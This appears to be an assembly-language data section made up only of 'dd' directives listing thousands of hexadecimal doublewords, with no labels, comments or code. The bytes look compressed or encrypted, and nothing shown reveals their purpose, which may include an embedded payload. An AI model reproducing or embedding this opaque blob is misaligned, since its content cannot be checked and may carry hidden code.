dd 0E7F77C8h, 88AAD160h, 1470700h, 0DE7AD748h, 2AC80481h
dd 80F7760Fh, 0E80CEB87h, 0C949B500h, 0A668A64h, 62410068h
dd 0C131A990h, 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h
dd 0B40013EEh, 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h
dd 5A73E1B0h, 92801BCBh, 0C21CE5DBh, 454EDE00h, 0D606EBE2h
dd 3A1672E6h, 0F0FE5Eh, 8A367403h, 750A3A08h, 54306700h
dd 1489313h, 9F4A00D3h, 401625B6h, 83780208h, 311AB200h
dd 0B3B9D7D4h, 107A0138h, 0CF3FDA3h, 80FAB93Dh, 21D64EBh
dd 903119h, 0CD88BB51h, 10E08650h, 0CD46600h, 83184CB2h
dd 0ABF33B09h, 86311200h, 24405FAAh, 0F156900h, 8840541h
dd 89B202C7h, 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh
dd 99036Fh, 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h
dd 0F8300048h, 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h
dd 1F170088h, 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh
dd 7B97D929h, 0B0A3000Ah, 8AD20F20h, 12001C44h, 754B2B42h
dd 0AD41F6h, 51B82318h, 0E9968F82h, 2F9CB300h, 0CC2CAC33h
dd 94CE1D50h, 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h
dd 0B5CCF8D7h, 2D0E03CEh, 2B0A69ECh, 248166D0h, 0FE78080Eh
dd 0FD58C061h, 0F30025Ch, 28ACCBE2h, 26844FE1h, 623CC4Ah
dd 4EB2000h, 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h
dd 1C048D0Fh, 0D89BC001h, 1340555h, 0CDFEE675h, 0F8D4E486h
dd 5905127Ch, 3289F631h, 90461780h, 7703486Ah, 78F07E00h
dd 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh
dd 92DF7430h, 3007261h, 5420A2CAh, 0EA0B7643h, 1F110010h
dd 4CD07705h, 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh
dd 0FAFFB150h, 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h
dd 3C1E5AF2h, 6C430253h, 7301FA00h, 90517497h, 8B440035h
dd 0ECF85442h, 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah
dd 0FF1250A9h, 0D32BF03h, 1B48AC04h, 35C0C69Fh, 0BFC5C14h
dd 8C7C3D74h, 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h
dd 0CD290Eh, 900B1B22h, 0AC0325FFh, 338B4C79h, 6350E0DBh
dd 50C741Ah, 1C753E07h, 701D802Ah, 91009225h, 0D41A1B0h
dd 3F29845h, 161F4C22h, 0A09801B3h, 0F4004028h, 57037B0h
dd 0B847604Fh, 8D736Fh, 6A6250FCh, 0F6386886h, 653A652Eh
dd 6BE84700h, 378323Fh, 5511E04Dh, 2DA06168h, 3000FF64h
dd 1B2089CCh, 0F445C7h, 0EE608691h, 0F808CB50h, 69C52C00h
dd 0AC8B8954h, 34E683h, 8AEAA267h, 63C41618h, 0E0985200h
dd 0A16628EFh, 25EC0071h, 97FFC02Ch, 8700F89Fh, 0C33FE283h
dd 0EFBC20Bh, 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h
dd 726F425Ch, 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h
dd 46C04C54h, 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh
dd 12C3AB7h, 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h
dd 93AECFAh, 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h
dd 90751ED3h, 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h
dd 0F6479C45h, 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h
dd 0D3009AB0h, 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h
dd 0E03E307Eh, 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh
dd 51318001h, 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh
dd 65580DDBh, 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h
dd 5B0D0351h, 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh
dd 1C006F2Eh, 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h
dd 75493700h, 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h
dd 407578F4h, 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch
dd 0D1C247Dh, 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah
dd 0C3007F8Bh, 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h
dd 1126D480h, 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h
dd 1886C0DEh, 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh
dd 0A5089F0Eh, 0E802F061h, 53515200h, 818FF689h, 0F4500084h
dd 1058E012h, 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh
dd 0CA43B8Eh, 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh
dd 90C1300h, 22000E74h, 4950811Dh, 23581Eh, 47257531h
dd 8BF09821h, 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h
dd 0EF00D4A3h, 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h
dd 0C26A1000h, 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh
dd 0F516DB2Ch, 6A546200h, 3423D02h, 0A30C92E4h, 99D99808h
dd 147670D1h, 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h
dd 77EA064h, 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h
dd 8A983DE9h, 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h
dd 647CD7E0h, 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h
dd 50280A5Ah, 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh
dd 53E31E88h, 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h
dd 1D814543h, 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh
dd 0A41B5Fh, 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh
dd 8B2507E6h, 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh
dd 3FE0A5ACh, 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h
dd 1365AEB3h, 0EE2439h, 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h
dd 3B920BBAh, 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h
dd 74F1513Dh, 48E0006Fh, 53020B04h, 0E202DB31h, 1B1A614Eh
dd 0A54161E6h
dd 0FA1EBB60h, 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h
dd 0B0FF0EE7h, 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh
dd 512D9Fh, 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h
dd 0E891127h, 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h
dd 4586EC8h, 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah
dd 9E62B9h, 2C444D42h, 2189084Eh, 67017F70h, 718D0559h
dd 0C5EC3D09h, 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h
dd 48041h, 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h
dd 189093Eh, 610BE842h, 0C48C74CEh, 695CDC7Fh, 0D075002Ch
dd 4B08C683h, 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h
dd 0E992F88Dh, 946D0E1Ch, 2BEE5923h, 449E21A0h, 27482214h
dd 6CF11E42h, 0F238689h, 56986136h, 0A3E88844h, 1E5BEA30h
dd 8F92899Ah, 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h
dd 87BE1h, 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh
dd 2208306Ah, 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah
dd 53A05755h, 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh
dd 6AA0C730h, 83018897h, 0A427BEAh, 0D471B089h, 60EC7931h
dd 39FD0004h, 1EA80DF0h, 9200A4B5h, 0C9C543EAh, 3BCC031h
dd 1C0648DFh, 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah
dd 0C664955Ah, 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h
dd 4D588038h, 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h
dd 3F1FFC5h, 3854491Ch, 86E97282h, 92836048h, 0C0070020h
dd 5C742C7Fh, 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh
dd 483D1ECFh, 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h
dd 52E130E7h, 43963D00h, 3814112Ah, 93762Dh, 13462E33h
dd 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h, 77E968Ch, 0B02C1D26h
dd 1E2A40C8h, 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h
dd 0CE471627h, 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h
dd 16272EFCh, 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh
dd 0F3942467h, 402993h, 2690F1FAh, 7074503Dh, 0CE00A27Bh
dd 99CB9238h, 1D90836h, 72F65232h, 0EC3B8189h, 300053D0h
dd 1817438Fh, 12381D74h, 0BCFB82h, 0B1D889ABh, 0B600EF84h
dd 4BFA4419h, 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh
dd 14510204h, 6DBB878Ah, 124F60F0h, 0AA090752h, 505B290Ah
dd 94ED2677h, 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah
dd 0C8B63047h, 38657502h, 0C02E536Ch, 7F9836Eh, 39A174FFh
dd 9DF5F001h, 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h
dd 57E148C2h, 70E80C00h, 0E9A79504h, 505800BEh, 7E1DDB85h
dd 0F0004B12h, 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh
dd 0B214EB00h, 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh
dd 0A1856000h, 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h
dd 3B121400h, 1A057EF3h, 0C1DF0004h, 49A81D3Eh, 28EEB127h
dd 4AEC7F00h, 1151E360h, 9CBE00BAh, 0C47D8D04h, 0A790E9B9h
dd 8FA5F301h, 2164BC05h, 1429B20h, 10B02D89h, 0EF84B41Dh
dd 1508A4F8h, 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h
dd 35B5A100h, 6792008h, 0C92BE803h, 880C45FAh, 1CC0A240h
dd 4359481Dh, 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h
dd 417E1D05h, 3D2580EEh, 7594C81Ch, 0C6180D1Fh, 1132481h
dd 26F95AD9h, 4CBB20h, 0CB222C48h, 95D3E834h, 0A345C501h
dd 18247444h, 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h
dd 2080EE93h, 14E1C3Ch, 124A892h, 0E832A9C8h, 0EC0E040Ch
dd 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h
dd 0F294834Bh, 383C22h, 334AE877h, 30BB354h, 0D0299200h
dd 595C44BBh, 1B98FFh, 0E68A0FE2h, 57C01750h, 63E8C102h
dd 80B4ED9Ah, 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch
dd 3E933700h, 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h
dd 32BBB684h, 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h
dd 83161C0Fh, 0BEE0203Fh, 5F8917h, 6F3787D0h, 0FBC2E803h
dd 75231200h, 381A08EFh, 47743E40h, 25581383h, 0EC88A34h
dd 0BA001685h, 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh
dd 0CF01C62h, 75226000h, 6ECF7013h, 0B4150048h, 0E186926h
dd 0F212163Eh, 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh
dd 0F0080C43h, 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h
dd 192E1F37h, 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh
dd 75482Dh, 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah
dd 66F0041h, 8BCBC660h, 560003C1h, 0FB6C097Bh, 7A5E0438h
dd 508C00EBh, 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h
dd 7A680067h, 2963281Fh, 39003181h, 0D32C3338h, 1CCCBAFh
dd 3718B76Dh, 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h
dd 8B8400E3h, 1C2ED110h, 5138C2C7h, 0F84A072Dh, 0F0D07C49h
dd 0EFF6Ah, 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h
dd 2C8BD618h, 275513h, 0EC80342h, 29E40865h, 4EEAB000h
dd 6CA3DAFCh, 24510030h, 1A7F4145h, 1700F5B4h, 93750542h
dd 0FAFE227h, 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h
dd 4C4B147Ch, 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h
dd 95F8375h, 10180026h, 895A081Fh, 6FF4FC97h, 1768F803h
dd 0F86B04C6h, 38BA546h, 25C0E390h, 0F8E1C1D6h, 0FEF9E458h
dd 96BCC700h, 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh
dd 0EC96573Bh, 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h
dd 8223C74Ah, 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh
dd 40CFC90h, 55532850h, 7B40C010h, 0A90086F1h, 0D7E27B8h
dd 0C70441h, 323ACEE9h, 0ECD93306h, 6098B57Bh, 0C5204401h
dd 16225498h, 293160h, 80CA4607h, 0C09CB8B4h, 89145200h
dd 95D1B9E2h, 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh
dd 1945132Fh, 0FD02C0E2h, 0E03E60Bh, 695E3A62h, 0ECE8EB01h
dd 1CF1306Ah, 295AD100h, 2712E5E4h, 41240065h, 66522D30h
dd 620C9B3Bh, 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h
dd 496892E4h, 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah
dd 57C0014Ah, 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h
dd 5F9AC101h, 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh
dd 8B770103h, 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h, 8A2734FDh
dd 798B000Eh, 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h
dd 4E0E41h, 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h
dd 0AF3D07D0h, 91618828h, 213BA044h, 517460AFh, 68BC0800h
dd 0F9233450h, 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h
dd 3FC5Fh, 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h
dd 53030063h, 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh
dd 0CA000271h, 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h
dd 104F944Ch, 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h
dd 6F149C44h, 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h
dd 0ACC8EF82h, 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah
dd 3900F145h, 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh
dd 0C05857DCh, 277007Ch
dd 5213C201h, 0B4EA00C1h, 1FE40E4Fh, 4A145888h, 2C954E89h
dd 4003A310h, 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h
dd 41813800h, 34761702h, 0E3A1E18h, 0E3678410h, 0CA7DC0B8h
dd 300006E1h, 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h
dd 0CF62B25Ah, 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h
dd 60119743h, 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h
dd 390225D0h, 13A424DBh, 9D4AC190h, 0C51FD868h, 80CC1EE7h
dd 36D0895Bh, 7E008BF8h, 0FC58252Dh, 70261BC0h, 27C754Ah
dd 1F7DDA39h, 5068D329h, 9E000519h, 0F416117Fh, 6394C9h
dd 313A7D25h, 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh
dd 1FF6BC8Bh, 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch
dd 430126h, 0F129227Eh, 2D9CFE9h, 3F42BC3Eh, 8DF200F9h
dd 7F4D3A04h, 52FB0724h, 10FAF0A1h, 0DF4C4762h, 4087A900h
dd 70317992h, 4F8B0088h, 8334F1FCh, 7803044Ah, 46068A1Bh
dd 147ED9C1h, 10D5F4h, 3BCB8937h, 15A6F3C3h, 0C746000h
dd 5AEC128Ah, 57FF051Dh, 0C0415E08h, 273AF875h, 6A985100h
dd 0FF314390h, 489B0028h, 23AFC2FCh, 0E0007883h, 0EC1D756Fh
dd 0F92A09E8h, 1C87A1FBh, 0A5F884F5h, 8B75003Ah, 701A40EEh
dd 0AE0790FCh, 28DC3050h, 949B0C60h, 0C93207AAh, 0B021FAD2h
dd 477CF139h, 9D4BB600h, 4502C80h, 0B86F75E9h, 0D43400B4h
dd 455DB2CAh, 0C81D30DBh, 0F31EF729h, 593D4080h, 0DA8906h
dd 1347E95Bh, 9C36C34Ah, 83A8B83Fh, 1E0EC81h, 0E2FAE0A3h
dd 41B5007Ch, 903C37E8h, 7900F01Dh, 7D28F320h, 1F240A80h
dd 403175FFh, 856AE3DBh, 1F07AE15h, 0C45B1C59h, 0AAF8C910h
dd 504D0322h, 0F5743158h, 0B586C194h, 0C066F932h, 87FB0E4Bh
dd 0CE4652CAh, 10584960h, 0D1350096h, 590CD722h, 50009A20h
dd 32125B3Bh, 0EC8814h, 8A532E44h, 4F3924A8h, 6113B300h
dd 897C620Eh, 4CE21D06h, 5A94075h, 0FF0912A3h, 6DE42E00h
dd 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh
dd 0E506ADA0h, 8001F4h, 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h
dd 0D3F5890h, 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h
dd 5893598Eh, 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h
dd 0F0F35214h, 78EB19h, 30071A91h, 1DCC2C58h, 1A86A58h
dd 0D4612D44h, 10F0BB28h, 433E4C0h, 0FEF39450h, 89A0C052h
dd 54008BD5h, 2C8E0A2Eh, 0CB5C03h, 4A0D8F02h, 638AB406h
dd 241D2D0Fh, 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h
dd 431ED4EBh, 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h
dd 9D0049F1h, 0D1285C61h, 984AE98Ah, 70B31F84h, 0DA48C08Eh
dd 0C6087544h, 7761C400h, 0E57F9C8h, 708E075Bh, 306A2D4Bh
dd 463A7620h, 0CD25F50Fh, 554F409Ch, 7740561Ah, 287A7E59h
dd 5DFD6D0h, 1C2F89DBh, 41918024h, 14039BCCh, 0CE920BFAh
dd 5749A8D0h, 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h
dd 9B3D09h, 0AA1DD5AEh, 5098BEE1h, 0EF335600h, 48CD832Ah
dd 0BD5B0971h, 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh
dd 0BF3100AFh, 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h
dd 0BD0FDCh, 10C2731Bh, 23DE0892h, 0F77993F2h, 765E938h
dd 0FA832875h, 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h
dd 73E02A56h, 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah
dd 0E4D414A3h, 88909DA4h, 64836602h, 0C02A8038h, 1818764h
dd 5F3E868Dh, 4084F742h, 0EB2720CEh, 51FF100Ch, 419FC15h
dd 0C3A78AAEh, 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h
dd 0C41007Ah, 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h
dd 8F580002h, 72BD0486h, 1300C6A8h, 0E5DA0908h, 0FE4C8A52h
dd 1E507A0Ah, 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h
dd 0F02FE0A2h, 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h
dd 458D12D8h, 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh
dd 0E43E4A98h, 9C9294F2h, 2C3503F1h, 88E3CCA8h, 1385150h
dd 0CBD48A23h, 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h
dd 62CD005Ah, 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh
dd 53C800FFh, 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h
dd 0C0756Dh, 0C336835h, 0ACDD5634h, 1209200h, 5482ABAh
dd 2F2200FDh, 9B511998h, 32008C07h, 0F80A0389h, 0E6443EAh
dd 2FC0C08h, 9A34EB60h, 7D008F4Ah, 0D15727AAh, 3515C18h
dd 2B4EAD53h, 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h
dd 72EE3D6h, 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h
dd 7E85109h, 7C5BA2Fh, 6962279Ah, 763AC05Fh, 6D01EE74h
dd 8BDE9C53h, 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch
dd 3203E259h, 0A4133D59h, 305A875h, 210801FBh, 0A31D319h
dd 0F7D5C048h, 22135500h, 4271109Dh, 949600B4h, 93CBE658h
dd 0E77BC295h, 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh
dd 2177F869h, 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h
dd 0F600D6CEh, 6A65AF5Bh, 1E46728Ch, 43B99944h, 0A58B7D89h
dd 0EF9C13C0h, 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h
dd 6531F3E8h, 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h
dd 448CDD58h, 70FF1B1Ah, 0C4060C00h, 33B8040Dh, 891200D9h
dd 5B3936E2h, 551F2CA2h, 807AE011h, 0AD05D354h, 91F849h
dd 6CC88925h, 0A34A2471h, 0A540400h, 3870B506h, 47640027h
dd 3B74A607h, 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h
dd 0C0953F1Ch, 0C8002C97h, 6B7C818Fh, 0A5FA10h, 0E8067525h
dd 6602EBEDh, 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h
dd 7204583Bh, 8010A67h, 0C0705A4h, 0F5E0C975h, 0B0360084h
dd 0EEE7F432h, 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h
dd 6FB8F844h, 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h
dd 130F6A82h, 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h
dd 9D7D83F4h, 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh
dd 0A43400F4h, 8C12A515h, 450043E8h, 356536E9h, 371C8Dh
dd 3ADC3880h, 1780F08h, 0E0EEEDFDh, 700015D5h, 0E814025Bh
dd 6633D7h, 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh
dd 565DD6h, 0F96C34Ch, 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h
dd 39554C64h, 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h
dd 618F0FA4h, 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h
dd 0C75CC3E1h, 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh
dd 72047E2h, 3A2CD4CFh, 0C203E056h, 4EE03D40h, 0C6487F00h
dd 33A13584h, 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h
dd 20DF7285h, 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah, 6B0EC1CCh
dd 0C06E7265h, 321D336Ch, 7B643C2Eh, 920FF594h, 6F673C70h
dd 61500073h, 4E7468EEh, 51006D7Dh, 0A8231441h, 0FFEE010h
dd 71A75292h, 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh
dd 24BDE03Fh, 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh
dd 0C47275E2h, 64210052h, 71014B46h, 361D0EE8h, 6000C7B1h
dd 92B2A5C3h, 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h
dd 784B1A37h, 906850h, 0FC3DB3DAh, 466BF053h, 0BF16A60Fh
dd 0C793001Eh
dd 0E892AB34h, 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch
dd 0F61811h, 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch
dd 9FE0CEEEh, 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh
dd 0E8102904h, 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h
dd 755329h, 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h
dd 89265B8Fh, 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h
dd 61777400h, 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h
dd 0FBEB802Bh, 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h
dd 38858700h, 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h
dd 0B1E2040Fh, 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh
dd 0A6385C00h, 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h
dd 0B5ADA648h, 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh
dd 230C5100h, 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h
dd 0E413B4FCh, 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh
dd 9A2C0A6h, 0CB41FCEEh, 0F13DCCE3h, 80047B38h, 2A7D3E81h
dd 0AB15A68h, 998438Bh, 0B3E803EAh, 50727B99h, 6F0CBC00h
dd 0F3F4120Ah, 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h
dd 3C00F178h, 0AC042512h, 48E09378h, 1000B62Ah, 8D520C06h
dd 4A000EBAh, 214BC22h, 2993E8h, 0E6A2D272h, 11C98E7Dh
dd 6DF81F00h, 1DF1F35Eh, 0B18B0051h, 1A7EA256h, 3C00C9EDh
dd 0AEB77DF2h, 52AAE9h, 62BB4433h, 21590504h, 0F7EB3400h
dd 9612CADh, 76747FB0h, 745B48E8h, 49017500h, 0DC76DA19h
dd 894C3001h, 6CB0C46h, 17FF20h, 45C3B12Dh, 9B480B74h
dd 2EFC207Dh, 3AC0E900h, 4BB8621Ah, 0F2BA0380h, 40B95F31h
dd 1C46C7D0h, 65D6E800h, 827A079h, 50C4FA18h, 0B80FE502h
dd 29C00313h, 62491778h, 4424A0F7h, 14002018h, 597E8088h
dd 222648h, 0FB96B2AEh, 10510F99h, 7060520Ch, 852046h
dd 0FF32DA53h, 8920EB3Ch, 7E810600h, 8BB3042Ah, 63A600B8h
dd 4EFF1FA3h, 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h
dd 6A96730Bh, 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h
dd 968D1361h, 7C2EB900h, 4736FF24h, 0A85A0165h, 0D68B2280h
dd 5CFD86Eh, 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h
dd 4AC2572Bh, 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h
dd 8AB29554h, 0F66A5840h, 5E0F617Eh, 2083E8F5h, 3B5374B4h
dd 0B1223FB0h, 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h
dd 5EE4B1E0h, 0A47CC3h, 23246D7Ch, 69B81188h, 0E9EB0402h
dd 809881A2h, 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h
dd 0EEDB108h, 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h
dd 4CE41190h, 7A3E2400h, 1B13549Ah, 0B08200B5h, 87D882Ah
dd 0F80E1C90h, 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h
dd 4FBABFC0h, 0E6F34Ch, 0EF461CD3h, 20C30Eh, 0F718AFA6h
dd 0E9B767B8h, 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h
dd 0E8950EAh, 0B400FA83h, 85541977h, 6032198h, 132453E1h
dd 41C5E94Eh, 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh
dd 784A81E4h, 1A750A00h, 73BB9A4h, 0A573E3C3h, 8A3D50F8h
dd 80011109h, 48302F9h, 0E1F46B42h, 1D70FFC1h, 0B822000Dh
dd 0B046A868h, 9C0FC41Ah, 600A3D32h, 81412919h, 0EBBF0074h
dd 764850DEh, 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah
dd 816656F3h, 13005830h, 0F8425290h, 263C494Eh, 0ED51FFAh
